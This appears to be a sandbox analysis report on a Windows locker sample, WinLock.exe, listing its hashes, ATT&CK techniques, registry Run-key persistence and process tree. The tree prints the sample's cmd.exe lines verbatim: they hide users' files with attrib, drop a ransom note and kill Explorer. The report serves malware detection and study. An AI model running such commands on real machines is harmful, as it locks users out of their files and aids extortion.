0ee00a052da9ee2386095030872c95bec909ad6eec0d8ae4b1400fe242c21c1a

Analysis

max time kernel
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 10:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WinLock.exe
Size 1.8MB
Sample260717-l2ymqsct3v
SHA256 0ee00a052da9ee2386095030872c95bec909ad6eec0d8ae4b1400fe242c21c1a
MD5 39f00899809722d011ae640bf7d23325
SHA1 edab457815e624b5c143f06aaa8ae28ff1257eac
SHA512 f34ee18b3b19fced8627ecc0d548dfab0bc7a7672a70571edbf175fc7ca835890308c4053069fe9c9618dba8a161e675c098c6c6389e9efd8431ceaa68e4c572
SSDEEP 49152:/4Fq+sL2An+xwULQBK+orsQ5PNzdNvtoB7mQvxypk:/4Fq+sLiZWKbswd3I7m
TLSH
T110851249639B8A7DC7BD837DE560224907F45237C123FB8C98A5E4BC4A2B3135B52B87
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\""	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" -startup"	WinLock.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5588	cmd.exe
4780	cmd.exe
5712	cmd.exe
3012	cmd.exe
1344	cmd.exe
5160	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
824	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5792	WinLock.exe
5792	WinLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5792	WinLock.exe
Token: SeDebugPrivilege	824	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 5792 wrote to memory of 5160	5792	WinLock.exe	90
PID 5792 wrote to memory of 1344	5792	WinLock.exe	91
PID 5792 wrote to memory of 3012	5792	WinLock.exe	92
PID 5792 wrote to memory of 5712	5792	WinLock.exe	93
PID 5792 wrote to memory of 4780	5792	WinLock.exe	94
PID 5792 wrote to memory of 5588	5792	WinLock.exe	95
PID 5792 wrote to memory of 824	5792	WinLock.exe	96
PID 4780 wrote to memory of 1736	4780	cmd.exe	114
PID 5712 wrote to memory of 2992	5712	cmd.exe	115
PID 3012 wrote to memory of 3392	3012	cmd.exe	116
PID 5160 wrote to memory of 5148	5160	cmd.exe	117
PID 5588 wrote to memory of 6012	5588	cmd.exe	118
PID 1344 wrote to memory of 2368	1344	cmd.exe	119
PID 4780 wrote to memory of 3580	4780	cmd.exe	121
PID 5712 wrote to memory of 5044	5712	cmd.exe	122
PID 3012 wrote to memory of 5432	3012	cmd.exe	123
PID 5588 wrote to memory of 2504	5588	cmd.exe	125
PID 5160 wrote to memory of 2932	5160	cmd.exe	126
PID 1344 wrote to memory of 5732	1344	cmd.exe	127

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2992	attrib.exe
3580	attrib.exe
1736	attrib.exe
5432	attrib.exe
2504	attrib.exe
2932	attrib.exe
3392	attrib.exe
5148	attrib.exe
2368	attrib.exe
5044	attrib.exe
5732	attrib.exe
6012	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5792
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @durov 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5160
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:5148
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2932
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @durov 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1344
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2368
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @durov 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3392
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5432
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @durov 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5712
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2992
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @durov 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1736
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3580
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @durov 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5588
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:6012
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2504
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:824

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:2780

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:4636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\Downloads\info-Locker.txt
Size 72B
SHA256 8e032b607d52f91be02342c9b57bc8f0ca2d3ccfeab879e81775e43f0e954a65
MD5 2db30de1b48fdefe50deafb0c76d6e3d
SHA1 065d888468c928cd2ccf7294962479f0801fa544
SHA512 b96fd5658356cbf80d89edea68d99ca29bb812ac975c013f97298d6677e445fdc7a44efe912298c50154c94d339cfa18bdd41359a0eedb241ae0492aac1d9db2
TLSH
T18AA022F03C2E2BAE300020F33C32F20238BCE80C28033C82822000A300B00C02CEF820
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5792-5-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-13-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-3-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-4-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-0-0x00007FF8AEC0F000-0x00007FF8AEC10000-memory.dmp

Download

memory/5792-6-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-7-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-8-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-9-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-11-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-2-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-14-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-12-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-15-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-1-0x0000000000C50000-0x0000000000E1A000-memory.dmp

Download

memory/5792-28-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-29-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-30-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-31-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-32-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download

memory/5792-33-0x00007FF8AEA80000-0x00007FF8AF424000-memory.dmp

Download